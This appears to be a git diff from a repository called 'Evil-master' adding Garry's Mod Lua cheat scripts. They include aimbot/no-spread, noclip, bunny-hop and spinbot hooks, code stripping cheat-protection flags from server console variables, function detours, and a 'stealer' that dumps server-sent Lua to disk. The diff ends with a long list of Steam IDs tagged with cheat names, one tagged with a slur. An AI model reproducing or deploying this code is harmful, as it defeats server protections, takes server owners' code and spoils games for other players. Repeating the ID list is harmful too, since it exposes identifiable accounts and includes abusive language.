ang = PredictSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end if clientsidenoclip:GetBool() && ghostpos != nil then local add = Vector( 0, 0, 0 ) local ang = ucorrected if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end add = add:GetNormal() * FrameTime() * 500 if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end ghostpos = ghostpos + add cmd:SetForwardMove( 0 ) cmd:SetSideMove( 0 ) cmd:SetUpMove( 0 ) cmd:SetButtons( 0 ) end if bhop:GetBool() && !LocalPlayer():InVehicle() && (cmd:GetButtons() & IN_JUMP) > 0 then if LocalPlayer():IsOnGround() then cmd:SetButtons(cmd:GetButtons() | IN_JUMP) else cmd:SetButtons(cmd:GetButtons() & clear) end end if spinbot:GetBool() && (cmd:GetButtons() & (IN_ATTACK | IN_ATTACK2)) == 0 then local view = cmd:GetViewAngles() spinangle.y = spinangle.y + 20 SetViewAngles(cmd, spinangle) local diff = math.Deg2Rad(math.NormalizeAngle(spinangle.y - view.y)) local absf = math.Clamp(cmd:GetForwardMove(), -1, 1) local abss = math.Clamp(cmd:GetSideMove(), -1, 1) cmd:SetForwardMove(-1000 * math.sin(diff) * abss) cmd:SetSideMove(1000 * math.sin(diff) * absf) end end local function bcalcview( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) or gamemodeview:GetBool() or recording_mode then return end if clientsidenoclip:GetBool() && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end hook.Add("CreateMove", "HEX3", bcmove) hook.Add("CalcView", "HEX4", bcalcview) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua new file mode 100644 index 0000000..1db6877 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua @@ -0,0 +1 @@ + local SetViewAngles = _R.CUserCmd.SetViewAngles local clear = 0xFFFF - IN_JUMP local spinangle = Angle(0,0,0) local ucorrected = Angle(0,0,0) local ghostpos = nil local function bcmove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = PredictSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end if ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if NoSpreadHere and alwaysnospread:GetBool() then local ang = PredictSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end hook.Add("CreateMove", "HEX3", bcmove) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua new file mode 100644 index 0000000..5bdb7f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua @@ -0,0 +1,86 @@ +local function bcmove(cmd) + if state && angles!=Angle(0,0,0) then + local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) + angles = angles + MouseFixUp + angles.r=0 + ucorrected = angles + ucorrected.p = math.NormalizeAngle(ucorrected.p) + ucorrected.y = math.NormalizeAngle(ucorrected.y) + + if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then + local AntiSpread = PredictSpread(cmd,angles) + AntiSpread.p = math.NormalizeAngle(AntiSpread.p) + AntiSpread.y = math.NormalizeAngle(AntiSpread.y) + + SetViewAngles(cmd,AntiSpread) + else + SetViewAngles(cmd,angles) + end + + else + + local correct = 1 + if iZoom != 0 then + correct = ( 1 - ( iZoom / 100 ) ) + end + + if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then + ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) + ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) + end + + + if ghostpos == nil then + if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then + if NoSpreadHere and HeXNoSpread:GetBool() then + local ang = PredictSpread(cmd, ucorrected) + ang.p = math.NormalizeAngle(ang.p) + ang.y = math.NormalizeAngle(ang.y) + + SetViewAngles(cmd, ang) + else + SetViewAngles(cmd, ucorrected) + end + else + SetViewAngles(cmd, ucorrected) + end + end + + end + +end + + + +local function bcalcview( ply, origin, angl, fov ) + if IsValid(ply:GetVehicle()) then return end + + --[[if clientsidenoclip:GetBool() && ghostpos != nil then + local view = {} + view.origin = ghostpos + return view + end]] + + ghostpos = origin + + iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) + + if state && angles!=Angle(0,0,0) then + local view={} + if iZoom > 0 then + view.fov = 90 - iZoom + end + + angles.r=0 + view.angles= angles + return view + end + + local view={} + if iZoom > 0 then + view.fov = 90 - iZoom + end + + view.angles=ucorrected + return view +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua new file mode 100644 index 0000000..ed4ee87 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua @@ -0,0 +1,84 @@ + + +local CVarToString = { + [FCVAR_UNREGISTERED] = "FCVAR_UNREGISTERED", + [FCVAR_GAMEDLL] = "FCVAR_GAMEDLL", + [FCVAR_CLIENTDLL] = "FCVAR_CLIENTDLL", + [FCVAR_PROTECTED] = "FCVAR_PROTECTED", + [FCVAR_SPONLY] = "FCVAR_SPONLY", + [FCVAR_ARCHIVE] = "FCVAR_ARCHIVE", + [FCVAR_NOTIFY] = "FCVAR_NOTIFY", + [FCVAR_USERINFO] = "FCVAR_USERINFO", + [FCVAR_PRINTABLEONLY] = "FCVAR_PRINTABLEONLY", + [FCVAR_UNLOGGED] = "FCVAR_UNLOGGED", + [FCVAR_NEVER_AS_STRING] = "FCVAR_NEVER_AS_STRING", + [FCVAR_REPLICATED] = "FCVAR_REPLICATED", + [FCVAR_CHEAT] = "FCVAR_CHEAT", + [FCVAR_DEMO] = "FCVAR_DEMO", + [FCVAR_DONTRECORD] = "FCVAR_DONTRECORD", + [FCVAR_NOT_CONNECTED] = "FCVAR_NOT_CONNECTED", + [FCVAR_ARCHIVE_XBOX] = "FCVAR_ARCHIVE_XBOX", + [FCVAR_SERVER_CAN_EXECUTE] = "FCVAR_SERVER_CAN_EXECUTE", + [FCVAR_SERVER_CANNOT_QUERY] = "FCVAR_SERVER_CANNOT_QUERY", + [FCVAR_CLIENTCMD_CAN_EXECUTE] = "FCVAR_CLIENTCMD_CAN_EXECUTE", +} + + if flags == FCVAR_CHEAT + FCVAR_NOT_CONNECTED then + flags = "FCVAR_CHEAT, FCVAR_NOT_CONNECTED" + elseif flags == FCVAR_REPLICATED + FCVAR_NOT_CONNECTED then + flags = "FCVAR_REPLICATED, FCVAR_NOT_CONNECTED" + elseif CVarToString[flags] then + flags = CVarToString[flags] + else + flags = tostring(flags) + end + +--[[ +mat_wireframe + notconnected cheat server_can_execute clientcmd_can_execute + +mat_fullbright + notconnected cheat + +vcollide_wireframe + client notconnected cheat server_can_execute clientcmd_can_execute +]] + +local function StripCVar(cvar,flag) --remove + if hexcv and hexcv.IsFlagSet(cvar, flag) then + print("! cv: ", cvar, " flag: ", flag) + hexcv.SetFlags(cvar, hexcv.GetFlags(cvar) - flag) + return true + + else + print("! fuckup: ", cvar) + + + end + return false +end + + +local function StripCVarMulti(cvar,flags) + for k,v in pairs(flags) do + StripCVar(cvar,v) + end + return +end + + + + + StripCVar("sv_cheats", FCVAR_REPLICATED) + MsgDeReplicate("sv_cheats", FCVAR_REPLICATED) + + StripCVar("host_timescale", FCVAR_REPLICATED) + MsgDeReplicate("host_timescale", FCVAR_REPLICATED) + + StripCVar("host_framerate", FCVAR_CHEAT) + MsgDeReplicate("host_framerate", FCVAR_CHEAT) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua new file mode 100644 index 0000000..c7aa7d5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua @@ -0,0 +1,55 @@ + + + + +function HeX.Detour.Meta(lib,func,new) + if _R[lib][func.."Old"] then + _R[lib][func] = _R[lib][func.."Old"] + _R[lib][func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = _R[lib][func], new = new, src = HeX.FPath(new)} + _R[lib][func.."Old"] = _R[lib][func] + _R[lib][func] = new +end + +HeX.Detour.Meta("Player", "PrintMessage", function(new) end) + +HeX.Detour.Meta("bf_read", "ReadString", function(new) end) + + + +function HeX.Detour.Global(lib,func,new) + local where = lib + if where == "_G" then + where = _G + else + where = _G[where] + end + + if where[func.."Old"] then + where[func] = where[func.."Old"] + where[func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = where[func], new = new, src = HeX.FPath(new)} + where[func.."Old"] = where[func] + where[func] = new +end + + +HeX.Detour.Global("os", "date", function(new) end) + +HeX.Detour.Global("_G", "PrintMessage", function(new) end) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua new file mode 100644 index 0000000..d287cf4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua @@ -0,0 +1,70 @@ + + +if (#file.FindInLua("includes/modules/gm_hio.dll") > 0) then + require("hio") +end +local GetSendLua = false +local GetSendLua = true + +local Format = Format +local string = string +local file = file + +local function WriteFile(Filename,Cont) + if not (hIO) then + return file.Write(Filename, Cont) + end + + local HFileName = string.gsub(Filename, ".txt",".lua") + + if (hIO) and file.Exists(HFileName) then + hIO.Remove(Format("%s/data/%s", ModDIR, HFileName)) + end + if file.Exists(Filename) then + file.Delete(Filename) + end + + file.Write(Filename, Cont) + + if (hIO) then + hIO.Rename( Format("%s/data/%s", ModDIR, Filename),Format("%s/data/%s", ModDIR, HFileName) ) + end +end + +local function ExistsFile(Filename) + if not (hIO) then + return file.Exists(Filename) + end + + local HFileName = string.gsub(Filename, ".txt",".lua") + + return file.Exists(HFileName) +end + + + +if (#file.FindInLua("includes/modules/gm_preproc.dll") > 0) then + require("hook") + require("preproc") + + hook.Add("Lua_Preprocess", "LuaHook", function(name, path, lua) + if name == "LuaCmd" and GetSendLua then + file.Append("datapack/lua_run.txt", lua) + print("! lua_run: ", lua) + return + end + + if GetLua then + name = string.gsub(name, ".lua", ".txt") + name = "datapack/"..name + + if not ExistsFile(name) then + WriteFile(name, lua) + print("! got: ", name) + end + end + end) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua new file mode 100644 index 0000000..e8f786f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua @@ -0,0 +1,85 @@ + +--[[ + extras.GetMapName() + extras.GetPlayerName( userid ) + extras.GetPlayerLogo( userid ) + extras.GetMaxPlayers() + extras.GetScreenAspectRatio() + extras.GetAllPlayers() + extras.GetPlayerIndex( userid ) + extras.GetPlayerSteamID( userid ) + extras.GetFriendID( userid ) + extras.LocalPlayerUserID() + extras.GetKeyForBinding( bind ) + extras.GetIP() + extras.Print( color, txt ) + extras.GetAppID() + extras.GetEngineBuildNumber() + extras.GetProductVersionString() -- Seems to crash game + extras.EmitCloseCaption( caption ) + extras.ServerCommand( cmd ) + extras.ExecuteClientCmd( cmd ) -- Seems to crash game + extras.ClientCmd_Unrestricted( cmd ) -- Seems to crash game + extras.ForceConVar( cvar, value ) + extras.IsDrawingLoadingImage() + extras.IsInEditMode() -- Seems to crash game + extras.IsConnected() + extras.IsFakePlayer( userid ) + extras.IsInGame() + extras.IsLowViolence() -- Seems to crash game + extras.IsHammerRunning() -- Seems to crash game + extras.IsConsoleVisible() + extras.IsPaused() + extras.IsPlayingDemo() + extras.IsPlayingTimeDemo() + extras.IsRecordingDemo() + extras.IsTakingScreenshot() + extras.SetEyeAngles( angle ) + extras.SupportsHDR() + extras.GetDXSupportLevel() +]] + +if not extras then + local function Useless() + print("! extras table gone !") + end + + extras.GetMapName = Useless + extras.GetPlayerName = Useless + extras.GetPlayerLogo = Useless + extras.GetMaxPlayers = Useless + extras.GetScreenAspectRatio = Useless + extras.GetAllPlayers = Useless + extras.GetPlayerIndex = Useless + extras.GetPlayerSteamID = Useless + extras.GetFriendID = Useless + extras.LocalPlayerUserID = Useless + extras.GetKeyForBinding = Useless + extras.GetIP = Useless + extras.Print = Useless + extras.GetAppID = Useless + extras.GetEngineBuildNumber = Useless + extras.GetProductVersionString = Useless + extras.EmitCloseCaption = Useless + extras.ServerCommand = Useless + extras.ExecuteClientCmd = Useless + extras.ClientCmd_Unrestricted = Useless + extras.ForceConVar = Useless + extras.IsDrawingLoadingImage = Useless + extras.IsInEditMode = Useless + extras.IsConnected = Useless + extras.IsFakePlayer = Useless + extras.IsInGame = Useless + extras.IsLowViolence = Useless + extras.IsHammerRunning = Useless + extras.IsConsoleVisible = Useless + extras.IsPaused = Useless + extras.IsPlayingDemo = Useless + extras.IsPlayingTimeDemo = Useless + extras.IsRecordingDemo = Useless + extras.IsTakingScreenshot = Useless + extras.SetEyeAngles = Useless + extras.SupportsHDR = Useless + extras.GetDXSupportLevel = Useless +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt new file mode 100644 index 0000000..157d247 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt @@ -0,0 +1,660 @@ +STEAM_0:0:49963094;Cheat: isis +STEAM_0:1:39052921;Cheat: isis +STEAM_0:1:43651259;Cheat: neon +STEAM_0:0:20973005;Cheat: inkbot +STEAM_0:0:18648599;Cheat: inkbot +STEAM_0:1:30602489;Cheat: isis +STEAM_0:0:10384960;Cheat: g +STEAM_0:0:22313374;Cheat: int +STEAM_0:1:2826106;Cheat: int +STEAM_0:0:29999073;Cheat: monsterhack +STEAM_0:1:40296742;Cheat: lix +STEAM_0:1:30714994;Cheat: neon +STEAM_0:1:24177661;Cheat: Elebot +STEAM_0:1:41886656;Cheat: Elebot +STEAM_0:0:20651275;Cheat: Neon +STEAM_0:1:24315562;Cheat: Coma +STEAM_0:0:19901992;Cheat: Code Injection +STEAM_0:0:38131040;Cheat: Code Injection +STEAM_0:1:33957251;Cheat: Code Injection +STEAM_0:1:28446368;Cheat: Code Injection +STEAM_0:0:36525933;Cheat: Code Injection +STEAM_0:0:38176760;Cheat: Code Injection +STEAM_0:0:5995530;Cheat: Code Injection +STEAM_0:0:29171828;Cheat: Code Injection +STEAM_0:1:14137101;Cheat: Code Injection +STEAM_0:1:17626391;Cheat: Code Injection +STEAM_0:0:13983114;Cheat: Code Injection +STEAM_0:0:12099804;Cheat: Code Injection +STEAM_0:1:13602538;Cheat: Code Injection +STEAM_0:0:43688624;Cheat: Code Injection +STEAM_0:0:26431054;Cheat: Code Injection +STEAM_0:1:25511182;Cheat: Code Injection +STEAM_0:1:21427056;Cheat: Code Injection +STEAM_0:1:19624868;Cheat: Code Injection +STEAM_0:0:12667741;Cheat: Code Injection +STEAM_0:0:18279666;Cheat: Code Injection +STEAM_0:1:38581282;Cheat: Code Injection +STEAM_0:1:40953131;Cheat: Code Injection +STEAM_0:1:37325264;Cheat: Code Injection +STEAM_0:1:48004946;Cheat: Code Injection +STEAM_0:0:17726148;Cheat: Code Injection +STEAM_0:0:42194705;Cheat: Code Injection +STEAM_0:0:19774979;Cheat: Code Injection +STEAM_0:0:38972880;Cheat: Code Injection +STEAM_0:1:23921311;Cheat: Code Injection +STEAM_0:1:32561559;Cheat: Code Injection +STEAM_0:1:39603922;Cheat: Code Injection +STEAM_0:0:17050506;Cheat: Code Injection +STEAM_0:1:21872927;Cheat: Code Injection +STEAM_0:0:18236678;Cheat: Code Injection +STEAM_0:0:13583020;Cheat: Code Injection +STEAM_0:0:40334407;Cheat: Code Injection +STEAM_0:0:46066;Cheat: Code Injection +STEAM_0:0:40916370;Cheat: Code Injection +STEAM_0:0:23516026;Cheat: Code Injection +STEAM_0:0:46298023;Cheat: Code Injection +STEAM_0:0:33968303;Cheat: Code Injection +STEAM_0:0:17367403;Cheat: Code Injection +STEAM_0:0:13196070;Cheat: Code Injection +STEAM_0:1:26220023;Cheat: Code Injection +STEAM_0:1:21056397;Cheat: Code Injection +STEAM_0:0:40735985;Cheat: Code Injection +STEAM_0:1:31191381;Cheat: Code Injection +STEAM_0:1:25675380;Cheat: Code Injection +STEAM_0:0:20928049;Cheat: Code Injection +STEAM_0:0:41146029;Cheat: Code Injection +STEAM_0:1:35038611;Cheat: Code Injection +STEAM_0:0:30883232;Cheat: Code Injection +STEAM_0:0:19617520;Cheat: elebot +STEAM_0:0:41307538;Cheat: tame +STEAM_0:1:11769924;Cheat: coma +STEAM_0:0:19338100;Cheat: coma +STEAM_0:0:21479539;Cheat: coma +STEAM_0:1:29640664;Cheat: coma +STEAM_0:1:34174066;Cheat: coma +STEAM_0:1:29812493;Cheat: tame +STEAM_0:0:49791119;Cheat: hh +STEAM_0:0:26325520;Cheat: hh +STEAM_0:0:21553359;Cheat: elebot +STEAM_0:0:40897007;Cheat: isis +STEAM_0:0:21760599;Cheat: coma +STEAM_0:1:15801351;Cheat: coma +STEAM_0:1:40407825;Cheat: hh +STEAM_0:0:6059942;Cheat: Code Injection +STEAM_0:1:29971267;Cheat: Code Injection +STEAM_0:1:30411341;Cheat: Code Injection +STEAM_0:1:37220271;Cheat: Code Injection +STEAM_0:1:37311111;Cheat: Code Injection +STEAM_0:0:49009808;Cheat: Code Injection +STEAM_0:0:21760599;Cheat: Code Injection +STEAM_0:1:18488836;Cheat: Code Injection +STEAM_0:1:30051971;Cheat: Code Injection +STEAM_0:0:27209687;Cheat: Code Injection +STEAM_0:0:42055458;Cheat: Code Injection +STEAM_0:1:29784969;Cheat: Code Injection +STEAM_0:1:47574863;Cheat: Code Injection +STEAM_0:1:12110199;Cheat: Code Injection +STEAM_0:0:32971824;Cheat: Code Injection +STEAM_0:1:45036640;Cheat: Code Injection +STEAM_0:0:13789991;Cheat: Code Injection +STEAM_0:1:47585786;Cheat: Code Injection +STEAM_0:1:31629013;Cheat: Code Injection +STEAM_0:0:24857790;Cheat: Code Injection +STEAM_0:0:20928928;Cheat: Code Injection +STEAM_0:1:38456959;Cheat: Code Injection +STEAM_0:0:27362367;Cheat: Code Injection +STEAM_0:1:20546481;Cheat: Code Injection +STEAM_0:1:32979564;Cheat: Code Injection +STEAM_0:1:32723575;Cheat: Code Injection +STEAM_0:1:20027677;Cheat: Code Injection +STEAM_0:1:22010666;Cheat: Code Injection +STEAM_0:0:10089448;Cheat: Code Injection +STEAM_0:0:25999084;Cheat: Code Injection +STEAM_0:0:23645529;Cheat: Code Injection +STEAM_0:0:26177708;Cheat: Code Injection +STEAM_0:1:15978572;Cheat: Code Injection +STEAM_0:1:30622959;Cheat: Code Injection +STEAM_0:0:10795659;Cheat: Code Injection +STEAM_0:0:8836134;Cheat: Code Injection +STEAM_0:1:27936486;Cheat: Code Injection +STEAM_0:0:20497785;Cheat: Code Injection +STEAM_0:0:25309195;Cheat: Code Injection +STEAM_0:0:47607534;Cheat: Code Injection +STEAM_0:0:45119049;Cheat: Code Injection +STEAM_0:1:31668419;Cheat: Code Injection +STEAM_0:0:30709335;Cheat: Code Injection +STEAM_0:0:43372066;Cheat: lix +STEAM_0:1:35738339;Cheat: gbot,eradicate,gbot3 +STEAM_0:0:43680205;Cheat: gbot +STEAM_0:1:50032155;Cheat: Code Injection +STEAM_0:0:20409589;Cheat: Code Injection +STEAM_0:1:29374611;Cheat: Code Injection +STEAM_0:1:38654884;Cheat: Code Injection +STEAM_0:0:45159127;Cheat: Code Injection +STEAM_0:1:26052782;Cheat: Code Injection +STEAM_0:0:28545861;Cheat: Code Injection +STEAM_0:1:34051928;Cheat: Code Injection +STEAM_0:1:27014861;Cheat: Code Injection +STEAM_0:0:34483728;Cheat: Code Injection +STEAM_0:1:43940964;Cheat: Code Injection +STEAM_0:0:47444339;Cheat: Code Injection +STEAM_0:1:37991340;Cheat: Code Injection +STEAM_0:1:43891704;Cheat: Code Injection +STEAM_0:0:30499160;Cheat: Code Injection +STEAM_0:1:40131982;Cheat: Code Injection +STEAM_0:1:39036191;Cheat: Code Injection +STEAM_0:1:50012443;Cheat: Code Injection +STEAM_0:0:31955945;Cheat: Code Injection +STEAM_0:1:30569150;Cheat: Code Injection +STEAM_0:1:37950845;Cheat: Code Injection +STEAM_0:0:39157486;Cheat: Code Injection +STEAM_0:0:38704795;Cheat: Code Injection +STEAM_0:1:37984975;Cheat: Code Injection +STEAM_0:0:33575136;Cheat: Code Injection +STEAM_0:0:40146815;Cheat: mfsp +STEAM_0:1:17286464;Cheat: coma +STEAM_0:1:44511758;Cheat: lix +STEAM_0:0:34111703;Cheat: lix +STEAM_0:1:33659672;Cheat: elebot +STEAM_0:0:23552236;Cheat: (cracked) sethhack v2 +STEAM_0:1:12018844;Cheat: isis +STEAM_0:1:44781337;Cheat: speed.lua +STEAM_0:1:1439351;Cheat: herpes +STEAM_0:0:24419439;Cheat: isis +STEAM_0:1:17508660;Cheat: Code Injection +STEAM_0:1:26736765;Cheat: Code Injection +STEAM_0:1:37602703;Cheat: Code Injection +STEAM_0:1:41918177;Cheat: Code Injection +STEAM_0:1:28533213;Cheat: Code Injection +STEAM_0:0:42305682;Cheat: Code Injection +STEAM_0:0:36940612;Cheat: Code Injection +STEAM_0:0:38469933;Cheat: Code Injection +STEAM_0:1:1426417;Cheat: Code Injection +STEAM_0:0:17652107;Cheat: Code Injection +STEAM_0:0:6428289;Cheat: Code Injection +STEAM_0:0:30939823;Cheat: Code Injection +STEAM_0:1:40749708;Cheat: Code Injection +STEAM_0:1:23629652;Cheat: Code Injection +STEAM_0:0:35205289;Cheat: Code Injection +STEAM_0:1:49076431;Cheat: Code Injection +STEAM_0:0:26311595;Cheat: Code Injection +STEAM_0:1:19159317;Cheat: Code Injection +STEAM_0:1:10417976;Cheat: Code Injection +STEAM_0:1:41611335;Cheat: Code Injection +STEAM_0:1:43969722;Cheat: Code Injection +STEAM_0:0:20220663;Cheat: speedhack +STEAM_0:0:39618012;Cheat: Code Injection +STEAM_0:0:22917225;Cheat: Code Injection +STEAM_0:0:8731533;Cheat: Code Injection +STEAM_0:1:36831604;Cheat: Code Injection +STEAM_0:0:45008543;Cheat: Code Injection +STEAM_0:0:24320781;Cheat: Code Injection +STEAM_0:0:26312585;Cheat: Code Injection +STEAM_0:0:43100738;Cheat: Code Injection +STEAM_0:0:12012182;Cheat: Code Injection +STEAM_0:1:48308696;Cheat: Code Injection +STEAM_0:1:31775427;Cheat: Code Injection +STEAM_0:1:13737877;Cheat: Code Injection +STEAM_0:1:11427632;Cheat: Code Injection +STEAM_0:1:29886937;Cheat: Code Injection +STEAM_0:0:19293437;Cheat: Code Injection +STEAM_0:1:19348310;Cheat: Code Injection +STEAM_0:1:26819163;Cheat: Code Injection +STEAM_0:1:17042971;Cheat: Code Injection +STEAM_0:0:32070437;Cheat: faggot (poki) +STEAM_0:1:33831311;Cheat: Code Injection +STEAM_0:1:18843517;Cheat: Code Injection +STEAM_0:0:11151054;Cheat: Code Injection +STEAM_0:0:25624107;Cheat: Code Injection +STEAM_0:1:30673177;Cheat: Code Injection +STEAM_0:0:14790879;Cheat: Code Injection +STEAM_0:1:13250571;Cheat: Code Injection +STEAM_0:1:28657939;Cheat: Code Injection +STEAM_0:1:34087705;Cheat: Code Injection +STEAM_0:1:21421892;Cheat: Code Injection +STEAM_0:0:29493653;Cheat: Code Injection +STEAM_0:1:38689930;Cheat: Code Injection +STEAM_0:1:17505658;Cheat: Code Injection +STEAM_0:1:37018013;Cheat: Code Injection +STEAM_0:1:38846072;Cheat: Code Injection +STEAM_0:1:8284163;Cheat: Code Injection +STEAM_0:1:14133131;Cheat: Code Injection +STEAM_0:1:32540524;Cheat: Code Injection +STEAM_0:0:32269281;Cheat: Code Injection +STEAM_0:1:19353043;Cheat: Code Injection +STEAM_0:0:44321488;Cheat: Code Injection +STEAM_0:0:1567954;Cheat: Code Injection +STEAM_0:1:33749817;Cheat: Code Injection +STEAM_0:1:33917884;Cheat: Code Injection +STEAM_0:0:19856818;Cheat: Code Injection +STEAM_0:0:5226387;Cheat: speedhack +STEAM_0:0:36006702;Cheat: Code Injection +STEAM_0:0:44098755;Cheat: Code Injection +STEAM_0:1:45424776;Cheat: Code Injection +STEAM_0:0:37641228;Cheat: Code Injection +STEAM_0:1:40152334;Cheat: Code Injection +STEAM_0:0:41799917;Cheat: Code Injection +STEAM_0:1:22010562;Cheat: Code Injection +STEAM_0:0:24822120;Cheat: Code Injection +STEAM_0:0:10713231;Cheat: Code Injection +STEAM_0:1:36131576;Cheat: zbot +STEAM_0:1:11650863;Cheat: Coma +STEAM_0:0:16319183;Cheat: Code Injection +STEAM_0:0:40161943;Cheat: Code Injection +STEAM_0:0:26053222;Cheat: Code Injection +STEAM_0:1:16230103;Cheat: Code Injection +STEAM_0:0:33891807;Cheat: Code Injection +STEAM_0:0:16350495;Cheat: Code Injection +STEAM_0:0:31925018;Cheat: Code Injection +STEAM_0:0:20703502;Cheat: Code Injection +STEAM_0:0:28307108;Cheat: Code Injection +STEAM_0:0:40143824;Cheat: Code Injection +STEAM_0:1:31811639;Cheat: Code Injection +STEAM_0:0:25160443;Cheat: Code Injection +STEAM_0:1:26118232;Cheat: Code Injection +STEAM_0:0:36232848;Cheat: Code Injection +STEAM_0:0:28307108;Cheat: Code Injection +STEAM_0:0:43159831;Cheat: Code Injection +STEAM_0:0:24199196;Cheat: Code Injection +STEAM_0:1:26188522;Cheat: Code Injection +STEAM_0:1:20280169;Cheat: Code Injection +STEAM_0:1:19839009;Cheat: NeonHack +STEAM_0:0:24213184;Cheat: Code Injection +STEAM_0:0:5682164;Cheat: Code Injection +STEAM_0:1:31052706;Cheat: Code Injection +STEAM_0:1:28810910;Cheat: Code Injection +STEAM_0:0:31219365;Cheat: Code Injection +STEAM_0:1:26604027;Cheat: Code Injection +STEAM_0:1:42802404;Cheat: Code Injection +STEAM_0:1:40335356;Cheat: Code Injection +STEAM_0:0:26692186;Cheat: Code Injection +STEAM_0:1:42297594;Cheat: Code Injection +STEAM_0:1:28282921;Cheat: Code Injection +STEAM_0:1:10309922;Cheat: Code Injection +STEAM_0:0:39101463;Cheat: Code Injection +STEAM_0:0:39690375;Cheat: Code Injection +STEAM_0:1:25657133;Cheat: Code Injection +STEAM_0:1:32024708;Cheat: Code Injection +STEAM_0:1:25657133;Cheat: Code injection +STEAM_0:1:22119869;Cheat: Code injection +STEAM_0:1:43221644;Cheat: Code injection +STEAM_0:1:43197919;Cheat: Code injection 